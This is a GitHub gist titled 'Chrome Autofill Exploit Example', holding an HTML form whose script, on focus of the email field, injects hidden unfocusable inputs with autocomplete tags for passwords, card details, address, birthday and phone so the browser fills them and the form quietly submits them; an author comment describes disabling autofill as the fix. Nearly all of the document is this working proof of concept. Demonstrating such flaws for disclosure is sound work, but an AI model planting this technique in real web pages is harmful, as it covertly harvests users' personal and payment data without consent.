Skip to content

Instantly share code, notes, and snippets.

@lacostenycoder
Created January 14, 2017 09:06
Show Gist options
  • Save lacostenycoder/ef619fece24803a73289124b5ee59054 to your computer and use it in GitHub Desktop.
Save lacostenycoder/ef619fece24803a73289124b5ee59054 to your computer and use it in GitHub Desktop.
Chrome Autofill Exploit Example
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test Chrome Autofill Hack</title>
</head>
<style media="screen">
.hidden {
/*display: none;*/
}
</style>
<body>
<form action="/my-handling-form-page" method="post" id="form">
<div>
<label for="name">Name:</label>
<input type="text" id="name" name="user_name" />
</div>
<div>
<label for="mail">E-mail:</label>
<input type="email" id="email" name="user_mail" />
</div>
<div>
<label for="msg">Message:</label>
<textarea id="msg" name="user_message"></textarea>
</div>
<div class="button">
<button type="submit">Submit</button>
</div>
</form>
</body>
<script type="text/javascript">
var autocompletes = ['name', 'honorific-prefix', 'given-name',
'additional-name', 'family-name', 'honorific-suffix',
'nickname', 'username', 'new-password',
'current-password', 'organization-title', 'organization',
'street-address', 'address-line1', 'address-line2',
'address-line3', 'address-level4', 'address-level3',
'address-level2', 'address-level1', 'country',
'country-name', 'postal-code', 'cc-name', 'cc-given-name',
'cc-additional-name', 'cc-family-name', 'cc-exp',
'cc-exp-month', 'cc-exp-year', 'cc-csc', 'cc-type',
'transaction-currency', 'transaction-amount',
'language', 'bday', 'bday-day', 'bday-month',
'bday-year', 'sex', 'url', 'photo', 'tel',
'tel-country-code', 'tel-national',
'tel-area-code', 'tel-local', 'tel-local-prefix',
'tel-local-suffix', 'tel-extension', 'impp'
];
var emailField = document.getElementById('email');
var form = document.getElementById('form');
emailField.addEventListener('focus', function() {
var wrap = autocompletes.reduce(function(wrapper, field) {
var input = document.createElement('input');
// Make them not focussable
input.tabIndex = -1;
input.autocomplete = field;
wrapper.appendChild(input);
return wrapper;
}, document.createElement('div'));
// Hide the wrapper
wrap.classList.add('hidden');
form.appendChild(wrap);
// Inject the autocompletes once
this.removeEventListener('focus', arguments.callee);
});
</script>
</html>
@lacostenycoder
Copy link
Author

Chrome's solution - disable autofill

Turn off Autofill
Open Chrome.
At the top right, click More Settings.
At the bottom, click Show advanced settings.
Under "Passwords and forms," uncheck "Enable Autofill to fill out web forms in a single click."

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment